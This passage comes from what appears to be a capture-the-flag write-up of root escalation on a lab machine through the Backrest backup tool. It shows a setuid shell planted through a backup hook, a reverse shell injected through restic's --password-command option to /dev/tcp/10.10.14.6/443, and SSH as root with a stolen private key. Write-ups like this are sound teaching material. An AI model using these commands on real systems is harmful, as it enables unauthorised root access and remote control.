oxdf@hacky$ cat root/root.txt
9ebd0c4e************************

I can also SSH with the id_rsa included in the file:

oxdf@hacky$ ssh -i root/.ssh/id_rsa root@artificial.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
root@artificial:~# 

Escalation via Hook

Another way to get execution out of Backrest is through the Plan itself. I’ll create another plan, this time not worrying about the path:

image-20251018171751360

At the bottom, there’s an option to add a Hook:

image-20251018171807767

Hovering gives options:

image-20251018171828174

I’ll click “Command” and give it a command and select a bunch of conditions:

image-20251018172032642

I’ll save this plan, and then on the plan page, hit “Backup Now”:

image-20251018172112483

It actually errors because the path isn’t good, but in /tmp:

gael@artificial:~$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1183448 Oct 18 21:21 /tmp/0xdf

I’ll run with -p to not drop privs, and get a root shell:

gael@artificial:~$ /tmp/0xdf -p
0xdf-5.0# 

Escalation via Run Command

On the plan page, there’s a “Run Command” button:

image-20251018172407367

If I click that, there’s a box that takes input that says to run “help” to get help:

image-20251018172603470

I’ll do that, and it shows that it is running restic [input] -o sftp.args=-oBatchMode=yes:

image-20251018172632990

In the help, there’s a --password-command command option:

      --password-command command         shell command to obtain the repository password from (default: $RESTIC_PASSWORD_COMMAND)

I can give it any command there. I’ll enter that option with a bash reverse shell:

check --password-command 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"'

I need to give it a valid restic command (check in this case), but then it runs and connects to my listening nc with a reverse shell as root:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.74 35512
bash: cannot set terminal process group (3494): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/#